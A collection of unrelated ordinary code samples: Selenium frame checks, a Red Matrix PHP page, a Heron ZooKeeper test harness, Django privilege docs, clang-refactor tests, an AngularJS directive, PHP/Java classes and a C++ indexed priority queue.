        See `Page Should Contain` for an explanation about the ``loglevel``
        argument.
        """
        if not self._frame_contains(locator, text):
            self.log_source(loglevel)
            raise AssertionError(
                f"Frame '{locator}' should have contained text '{text}' but did not."
            )
        self.info(f"Frame '{locator}' contains text '{text}'.")

    def _frame_contains(self, locator: Union[WebElement, str], text: str):
        element = self.find_element(locator)
        self.driver.switch_to.frame(element)
        self.info(f"Searching for text from frame '{locator}'.")
        found = self.is_text_present(text)
        self.driver.switch_to.default_content()
        return found


text:
<?php

function pubsites_content(&$a) {
	require_once('include/dir_fns.php');
	$dirmode = intval(get_config('system','directory_mode'));

	if(($dirmode == DIRECTORY_MODE_PRIMARY) || ($dirmode == DIRECTORY_MODE_STANDALONE)) {
		$url = z_root() . '/dirsearch';
	}
	if(! $url) {
		$directory = find_upstream_directory($dirmode);
		$url = $directory['url'] . '/dirsearch';
	}
	$url .= '/sites';

	$o .= '
' . t('Public Sites') . '
';

	$o .= '
' .
		t('The listed sites allow public registration into the Red Matrix. All sites in the matrix are interlinked so membership on any of them conveys membership in the matrix as a whole. Some sites may require subscription or provide tiered service plans. The provider links may provide additional details.') . '
' . EOL;

	$ret = z_fetch_url($url);
	if($ret['success']) {
		$j = json_decode($ret['body'],true);
		if($j) {
			$rate_meta = ((local_channel()) ? '' . t('Rate this hub') . '	' : '');
			$o .= '

' . t('Site URL') . '	' . t('Access Type') . '	' . t('Registration Policy') . '	' . t('Location') . '	' . t('View hub ratings') . '	' . $rate_meta . '
';
			if($j['sites']) {
				foreach($j['sites'] as $jj) {
					$host = strtolower(substr($jj['url'],strpos($jj['url'],'://')+3));
					$rate_links = ((local_channel()) ? ' ' . t('Rate') . '	' : '');
					$o .= '
' . '' . $jj['url'] . '' . '	' . $jj['access'] . '	' . $jj['register'] . '	' . $jj['location'] . '	 ' . t('View ratings') . '	' . $rate_links . '
';
				}
			}

			$o .= '
';
		}
	}
	return $o;
}


text:
#include <iostream>

#include "common/common.h"
#include "errors/errors.h"
#include "threads/threads.h"
#include "network/network.h"
#include "statemgr/heron-zkstatemgr.h"
#include <string>

using heron::common::HeronStateMgr;

void TMasterLocationWatchHandler() {
  std::cout << "TMasterLocationWatchHandler triggered " << std::endl;
}

int main(int argc, char* argv[]) {
  /*
   * This is not a test per se, just comes handy when trying out zookeeper changes.
   * It needs to be run with a local zookeeper.
   * To trigger a session expiry, a partition needs to be created
   * Create partition,
   * sudo ipfw add 00993 deny tcp from any to any dst-port 2181
   * Delete partition
   * sudo ipfw delete 00993
   * Console logs need to monitored to verify the behavior on seesion expiry.
   */
  EventLoopImpl ss;

  if (argc < 3) {
    std::cout << "Usage: " << argv[0] << " <hostportlist> <topleveldir> " << std::endl;
    exit(1);
  }

  const std::string host_port = argv[1];
  const std::string top_level_dir = argv[2];
  const std::string topology_name = "test_topology";

  HeronStateMgr* state_mgr = HeronStateMgr::MakeStateMgr(host_port, top_level_dir, &ss);
  state_mgr->SetTMasterLocationWatch(topology_name, []() { TMasterLocationWatchHandler(); });
  state_mgr->SetPackingPlanWatch(topology_name, []() { PackingPlanWatchHandler(); });
  ss.loop();
  return 0;
}


text:
.. _usage:

Usage
=====

The best way to familiarize yourself with ``privileges`` is to walk through
some examples. So let's get started.

Profile Based Privileges
************************

You are building a site that has a number of different personas so you decide to
model that using ``idios`` and end up with something that looks like::

    from idios.models import ProfileBase

    class Persona(ProfileBase):

        name = models.CharField(max_length=50, null=True, blank=True)

    class MemberPersona(Persona):

        expired = models.BooleanField(default=False)

    class StaffPersona(Persona):

        pass

You will need to add and register a privileges handler::

    from idios.models import ProfileBase
    from privileges.models import Privilege
    from privileges.registration import registry

    class Persona(ProfileBase):

        name = models.CharField(max_length=50, null=True, blank=True)

    class MemberPersona(Persona):

        expired = models.BooleanField(default=False)

    class StaffPersona(Persona):

        pass

    class PersonaPrivilege(models.Model):

        persona_type = models.ForeignKey(ContentType)
        privilege = models.ForeignKey(Privilege)

        class Meta:
            verbose_name = "Persona Privilege"
            unique_together = ["persona_type", "privilege"]

        def __unicode__(self):
            return unicode("%s has '%s'" % (self.persona_type, self.privilege.label))

    def has_privilege(user, privilege):
        """
        Checks each Persona that a user has and it's privileges
        """
        if user.is_superuser:
            return True

        for p in [MemberPersona, StaffPersona]:
            for persona in p.objects.filter(user=user):
                ct_type = ContentType.objects.get_for_model(persona)
                if PersonaPrivilege.objects.filter(
                    persona_type=ct_type,
                    privilege__label=privilege
                ).exists():
                    return True
        return False

    registry.register(has_privilege)

As you can see above, I added ``has_privilege`` and registered it with ``registry.register``.

The handler that you register can be any callable that takes two parameters, a
user object, and a string that matches the label of one of the privilege objects
in your database.

Achievement Based Privileges
****************************

Another example of how you might employ the use of ``privileges`` in your project
is by only giving users that have earned a certain reputation or score depending
on your chosen nomenclature. Using another open source app by Eldarion, ``brabeion``,
we can hook in the same type of handler.

First a quick setup of ``braebion``. Start an a new app in your project. Let's
call it ``glue`` as that's what it's doing -- gluing parts of different apps
together.  So in ``glue/badges.py`` you will have::

    from brabeion.base import Badge, BadgeAwarded

    class ProfileCompletionBadge(Badge):
        slug = "profile_completion"
        levels = [
            "Bronze",
            "Silver",
            "Gold",
        ]
        events = [
            "profile_updated",
        ]
        multiple = False

        def award(self, **state):
            user = state["user"]
            profile = user.get_profile()

            if profile.name and profile.about and profile.location and profile.website:
                return BadgeAwarded(level=3)
            elif profile.name and profile.about and profile.location:
                return BadgeAwarded(level=2)
            elif profile.name and profile.location:
                return BadgeAwarded(level=1)

Then in ``glue/models.py`` will want to create a model to link the ``ProfileCompletionBadge``
with a certain set of privileges. In addition, we write and register the
``has_privilege`` handler here as well::

    from django.db import models
    from django.db.models.signals import post_save

    from brabeion import badges

    from glue.badges import ProfileCompletionBadge
    from personas.models import DefaultPersona
    from privileges.models import Privilege
    from privileges.registration import registry

    BADGE_CHOICES = [
        (
            "%s:%s" % (ProfileCompletionBadge.slug, x[0]),
            "%s - %s" % (ProfileCompletionBadge.slug, x[1])
        )
        for x in enumerate(ProfileCompletionBadge.levels)
    ]

    class BadgePrivilege(models.Model):

        badge = models.CharField(max_length=128, choices=BADGE_CHOICES)
        privilege = models.ForeignKey(Privilege)

    def has_privilege(user, privilege):
        if not hasattr(user, "badges_earned"):
            return False

        for b in user.badges_earned.all():
            badge = "%s:%s" % (b.slug, b.level)
            if BadgePrivilege.objects.filter(
                badge=badge,
                privilege__label__iexact=privilege
            ).exists():
                return True

        return False

    def handle_saved_persona(sender, instance, created, **kwargs):
        badges.possibly_award_badge("profile_updated", user=instance.user)

    badges.register(ProfileCompletionBadge)
    post_save.connect(handle_saved_persona, sender=DefaultPersona)
    registry.register(has_privilege)

As you will notice from the code above, the implementation of the handler is
completely different from that of the Persona handler written about previously.
Don't be distracted by the braebion details around badges and whatnot, the
important thing to realize is that you, the site developer (or app developer),
can control exactly how different privileges are evaluated in contexts that
you control.

In addition, this example and the previous example where we attached privileges
to personas/profiles, are not mutually exclusive. They can work together. What
happens when privileges are checked is that all registered handlers are
evaluated until either it either finds one that evaluates to True or gets to the
end of all registered handlers, which it then will return False.


text:
template <typename T>
struct Generic {  T x; };

struct AbstractClass {
  virtual void pureMethod() = 0;
  virtual void aPureMethod(int (*fptr)(), Generic<int> y) = 0;
  virtual int anotherPureMethod(const int &x) const = 0;
  virtual int operator + (int) const = 0;
  virtual void otherMethod() { }
};

struct Base {
  virtual void nonAbstractClassMethod() { }
};

struct Target : Base, AbstractClass {
};
// CHECK1: "void pureMethod() override;\n\nvoid aPureMethod(int (*fptr)(), Generic<int> y) override;\n\nint anotherPureMethod(const int &x) const override;\n\nint operator+(int) const override;\n\n" [[@LINE-1]]:1 -> [[@LINE-1]]:1

// RUN: clang-refactor-test perform -action fill-in-missing-abstract-methods -at=%s:16:1 %s | FileCheck --check-prefix=CHECK1 %s

struct SubTarget : AbstractClass {
  int anotherPureMethod(const int &) const { return 0; }
#ifdef HAS_OP
  int operator + (int) const override { return 2; }
#endif
};

struct Target2 : SubTarget, Base {
};
// CHECK2: "void pureMethod() override;\n\nvoid aPureMethod(int (*fptr)(), Generic<int> y) override;\n\nint operator+(int) const override;\n\n" [[@LINE-1]]:1
// CHECK3: "void pureMethod() override;\n\nvoid aPureMethod(int (*fptr)(), Generic<int> y) override;\n\n" [[@LINE-2]]:1

// RUN: clang-refactor-test perform -action fill-in-missing-abstract-methods -at=%s:29:1 %s | FileCheck --check-prefix=CHECK2 %s
// RUN: clang-refactor-test perform -action fill-in-missing-abstract-methods -at=%s:29:1 %s -DHAS_OP | FileCheck --check-prefix=CHECK3 %s

struct Abstract2 {
  virtual void firstMethod(int x, int y) = 0;
  virtual void secondMethod(int, int) { }
  virtual void thirdMethod(int a) = 0;
  virtual void fourthMethod() = 0;
};

struct FillInGoodLocations : Base, Abstract2 {

  void secondMethod(int, int) override; // comment

  void unrelatedMethod();

};
// CHECK4: "\n\nvoid firstMethod(int x, int y) override;\n\nvoid thirdMethod(int a) override;\n\nvoid fourthMethod() override;\n" [[@LINE-5]]:51 -> [[@LINE-5]]:51
// RUN: clang-refactor-test perform -action fill-in-missing-abstract-methods -at=%s:44:1 %s | FileCheck --check-prefix=CHECK4 %s

struct FillInGoodLocations2 : FillInGoodLocations, AbstractClass {

  void fourthMethod() override;

  // comment
  void unrelatedMethod();

  int operator + (int) const override;
};
// CHECK5: "\n\nvoid firstMethod(int x, int y) override;\n\nvoid thirdMethod(int a) override;\n" [[@LINE-7]]:32 -> [[@LINE-7]]:32
// CHECK5-NEXT: "\n\nvoid pureMethod() override;\n\nvoid aPureMethod(int (*fptr)(), Generic<int> y) override;\n\nint anotherPureMethod(const int &x) const override;\n" [[@LINE-3]]:39 -> [[@LINE-3]]:39
// RUN: clang-refactor-test perform -action fill-in-missing-abstract-methods -at=%s:54:1 %s | FileCheck --check-prefix=CHECK5 %s

struct FillInGoodLocations3 : Base, AbstractClass, Abstract2 {

  // comment
  void unrelatedMethod();

  void thirdMethod(int a) override;

  void firstMethod(int x, int y) override;

};
// CHECK6: "\n\nvoid fourthMethod() override;\n" [[@LINE-3]]:43 -> [[@LINE-3]]:43
// CHECK6-NEXT: "void pureMethod() override;\n\nvoid aPureMethod(int (*fptr)(), Generic<int> y) override;\n\nint anotherPureMethod(const int &x) const override;\n\nint operator+(int) const override;\n\n" [[@LINE-2]]:1 -> [[@LINE-2]]:1
// RUN: clang-refactor-test perform -action fill-in-missing-abstract-methods -at=%s:67:1 %s | FileCheck --check-prefix=CHECK6 %s

struct FIllInGoodLocationsWithMacros : Abstract2 {
#define METHOD(decl) void decl override;

  METHOD(thirdMethod(int a))
  METHOD(firstMethod(int x, int y)) void foo();
};
// CHECK7: "\n\nvoid fourthMethod() override;\n" [[@LINE-2]]:36 -> [[@LINE-2]]:36
// RUN: clang-refactor-test perform -action fill-in-missing-abstract-methods -at=%s:81:1 %s | FileCheck --check-prefix=CHECK7 %s

template<typename T>
class GenericType : Abstract2 {

};
// CHECK8: "void firstMethod(int x, int y) override;\n\nvoid thirdMethod(int a) override;\n\nvoid fourthMethod() override;\n\n" [[@LINE-1]]:1

struct GenericSubType : GenericType<int> {

};
// CHECK8: "void firstMethod(int x, int y) override;\n\nvoid thirdMethod(int a) override;\n\nvoid fourthMethod() override;\n\n" [[@LINE-1]]:1

// RUN: clang-refactor-test perform -action fill-in-missing-abstract-methods -at=%s:91:1 -at=%s:96:1 %s | FileCheck --check-prefix=CHECK8 %s

struct BaseClass2
{
    virtual ~BaseClass2();
    virtual int load() = 0;
};

// correct-implicit-destructor-placement: +1:1
struct DerivedImplicitDestructorClass2
: public BaseClass2
{

}; // CHECK-DESTRUCTOR: "int load() override;\n\n" [[@LINE]]:1

// Don't insert methods after the destructor:
// correct-destructor-placement: +1:1
struct DerivedExplicitDestructorClass2
: public BaseClass2 {
  ~DerivedImplicitDestructorClass2();

}; // CHECK-DESTRUCTOR: "int load() override;\n\n" [[@LINE]]:1

// RUN: clang-refactor-test perform -action fill-in-missing-abstract-methods -at=correct-implicit-destructor-placement -at=correct-destructor-placement %s | FileCheck --check-prefix=CHECK-DESTRUCTOR %s


text:
/**
 * Directive: Inbox
 */

angular.module('EmailApp')
 .directive('inbox', function inbox(){
  'use strict';

  return{
    restrict: 'EA',
    replace: true,
    scope: true,
    templateUrl: 'js/directives/inbox.tmpl.html',
    controllerAs: 'inbox',

    controller: function(InboxFactory){
      this.messages = [];

      this.goToMessage = function(id){
        InboxFactory.goToMessage(id);
      };

      this.deleteMessage = function(id,index){
        InboxFactory.deleteMessage(id, index);
      };

      InboxFactory.getMessages()
        .then( angular.bind(this, function then(){
          this.messages = InboxFactory.messages;
        }) );
    },
    link: function(scope,element,attrs,ctrl){
      /*
      by convention we do not $prefix arguements to the link function
      this is to be explicit that they have a fixed order
      */
    }
  }
 })


text:
package com.twu.biblioteca;

public interface CatalogueLoader {
    Catalogue<Book> getBookCatalogue();

    Catalogue<Movie> getMovieCatalogue();
}


text:
<?php

namespace Burdette\Tests\Unit;

use Burdette\Bucket;
use Burdette\Identities\StringIdentity;

class BucketTest extends \PHPUnit_Framework_TestCase
{
    /** @var \Mockery\MockInterface */
    private $token_factory;

    public function testConstructionAndSetters()
    {
        $factory = \Mockery::mock('Burdette\\TokenFactoryInterface');
        $identity = new StringIdentity("foo");
        $bucket = new Bucket($identity, $factory);
        $identity2 = new StringIdentity("bar");
        $bucket->setIdentity($identity2);
        $this->assertEquals("bar", (string) $bucket->getIdentity());
    }

    public function testTokensAndRealTokens()
    {
        $bucket = new Bucket(new StringIdentity('foo'), $this->token_factory);
        $bucket->setTokens(42.5);
        $this->assertEquals(42.5, $bucket->getRealTokens());
        $this->assertEquals(42, $bucket->getTokens());
    }

    public function testTokenGeneration()
    {
        $identity = new StringIdentity('foo');
        $next     = new \DateTime(" +10 minutes ");

        $this->token_factory->shouldReceive('newInstance')->with($identity, true, 9, $next);
        $bucket = new Bucket($identity, $this->token_factory);
        $bucket->setTokens(10);
        $bucket->newToken($next);
    }

    public function setUp()
    {
        $this->token_factory = \Mockery::mock('Burdette\\TokenFactoryInterface');
    }
}


text:
/*
 * Indexed min priority queue
 * Supports insertion in O(log N), deletion of any key (regardless of whether
 * the key is the minimum key or not) in O(log N) and changes to key values
 * in O(log N), where N is the number of
 * elements currently in the PQ
 */

#ifndef MIN_PQ_HPP
#define MIN_PQ_HPP

class MinIndexedPQ {
    int NMAX, N, *heap, *index;
    size_t *keys;

    void swap(int i, int j) {
        int t = heap[i]; heap[i] = heap[j]; heap[j] = t;
        index[heap[i]] = i; index[heap[j]] = j;
    }

    void bubbleUp(int k)    {
        while(k > 1 && keys[heap[k/2]] > keys[heap[k]])   {
            swap(k, k/2);
            k = k/2;
        }
    }

    void bubbleDown(int k)  {
        int j;
        while(2*k <= N) {
            j = 2*k;
            if(j < N && keys[heap[j]] > keys[heap[j+1]])
                j++;
            if(keys[heap[k]] <= keys[heap[j]])
                break;
            swap(k, j);
            k = j;
        }
    }

public:
    // Create an empty MinIndexedPQ which can contain atmost NMAX elements
    MinIndexedPQ(int NMAX)  {
        this->NMAX = NMAX;
        N = 0;
        keys = new size_t[NMAX + 1];
        heap = new int[NMAX + 1];
        index = new int[NMAX + 1];
        for(int i = 0; i <= NMAX; i++)
            index[i] = -1;
    }

    ~MinIndexedPQ() {
        delete [] keys;
        delete [] heap;
        delete [] index;
    }

    // check if the PQ is empty
    bool isEmpty()  {
        return N == 0;
    }

    // check if i is an index on the PQ
    bool contains(int i)    {
        return index[i] != -1;
    }

    // return the number of elements in the PQ
    int size()  {
        return N;
    }

    // associate key with index i; 0 < i < NMAX
    void insert(int i, int key) {
        N++;
        index[i] = N;
        heap[N] = i;
        keys[i] = key;
        bubbleUp(N);
    }

    // returns the index associated with the minimal key
    int minIndex()  {
        return heap[1];
    }

    // returns the minimal key
    int minKey()    {
        return keys[heap[1]];
    }

    // delete the minimal key and return its associated index
    // Warning: Don't try to read from this index after calling this function
    int deleteMin() {
        int min = heap[1];
        swap(1, N--);
        bubbleDown(1);
        index[min] = -1;
        heap[N+1] = -1;
        return min;
    }

    // returns the key associated with index i
    int keyOf(int i)    {
        return keys[i];
    }

    // change the key associated with index i to the specified value
    void changeKey(int i, int key)  {
        keys[i] = key;
        bubbleUp(index[i]);
        bubbleDown(index[i]);
    }

    // decrease the key associated with index i to the specified value
    void decreaseKey(int i, int key)    {
        keys[i] = key;
        bubbleUp(index[i]);
    }

    // increase the key associated with index i to the specified value
    void increaseKey(int i, int key)    {
        keys[i] = key;
        bubbleDown(index[i]);
    }

    // delete the key associated with index i
    void deleteKey(int i)   {
        int ind = index[i];
        swap(ind, N--);
        bubbleUp(ind);
        bubbleDown(ind);
        index[i] = -1;
    }
};

#endif


text:
<?php

namespace Floppy\Server\RequestHandler\Action\Exception;

use Exception;
use Floppy\Common\StorageException;

class ActionNotFoundException extends \Exception implements StorageException
{
}